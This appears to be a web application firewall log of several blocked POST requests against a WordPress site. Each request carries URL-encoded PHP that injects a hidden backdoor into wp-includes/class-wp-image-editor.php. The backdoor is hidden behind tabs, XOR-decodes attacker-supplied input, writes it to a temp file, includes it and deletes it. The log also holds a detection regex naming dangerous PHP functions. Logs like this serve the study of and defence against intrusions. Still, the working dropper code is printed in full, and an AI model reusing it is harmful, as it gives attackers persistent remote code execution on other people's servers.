0%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:53:34","212.87.197.20","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> BC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%253B%2520%2524element%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524element%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524f%255D%2529%2520%255E%252025%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524data_chunk%2529%2529%253B%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524desc%2520%253D%2520count%2528%2524entry%2529%253B%2520%2524ent%2520%253C%2520%2524desc%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524entry%255B%2524ent%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524ref%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524ref%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528file_put_contents%2528%2524descriptor%252C%2520%2524element%2529%2529%2520%257B%2520include%2520%2524descriptor%253B%2520%2540unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDxZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4315\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nBC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%253B%2520%2524element%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524element%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524f%255D%2529%2520%255E%252025%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524data_chunk%2529%2529%253B%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524desc%2520%253D%2520count%2528%2524entry%2529%253B%2520%2524ent%2520%253C%2520%2524desc%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524entry%255B%2524ent%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524ref%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524ref%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528file_put_contents%2528%2524descriptor%252C%2520%2524element%2529%2529%2520%257B%2520include%2520%2524descriptor%253B%2520%2540unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:53:45","103.145.5.35","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%253B%2520%2524element%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524element%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524f%255D%2529%2520%255E%252025%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524data_chunk%2529%2529%253B%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524desc%2520%253D%2520count%2528%2524entry%2529%253B%2520%2524ent%2520%253C%2520%2524desc%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524entry%255B%2524ent%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524ref%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524ref%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528file_put_contents%2528%2524descriptor%252C%2520%2524element%2529%2529%2520%257B%2520include%2520%2524descriptor%253B%2520%2540unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLaHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4315\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nbu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%253B%2520%2524element%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524element%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524f%255D%2529%2520%255E%252025%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524data_chunk%2529%2529%253B%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524desc%2520%253D%2520count%2528%2524entry%2529%253B%2520%2524ent%2520%253C%2520%2524desc%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524entry%255B%2524ent%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524ref%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524ref%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528file_put_contents%2528%2524descriptor%252C%2520%2524element%2529%2529%2520%257B%2520include%2520%2524descriptor%253B%2520%2540unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:53:53","95.216.28.151","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> OS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%253B%2520%2524element%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524element%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524f%255D%2529%2520%255E%252025%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524data_chunk%2529%2529%253B%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524desc%2520%253D%2520count%2528%2524entry%2529%253B%2520%2524ent%2520%253C%2520%2524desc%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524entry%255B%2524ent%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524ref%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524ref%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528file_put_contents%2528%2524descriptor%252C%2520%2524element%2529%2529%2520%257B%2520include%2520%2524descriptor%253B%2520%2540unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG1ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-mode:navigate\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-fetch-user:?1\ncontent-length:4315\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nOS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%253B%2520%2524element%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524element%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524f%255D%2529%2520%255E%252025%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524data_chunk%2529%2529%253B%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524desc%2520%253D%2520count%2528%2524entry%2529%253B%2520%2524ent%2520%253C%2520%2524desc%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524entry%255B%2524ent%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524ref%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524ref%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528file_put_contents%2528%2524descriptor%252C%2520%2524element%2529%2529%2520%257B%2520include%2520%2524descriptor%253B%2520%2540unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
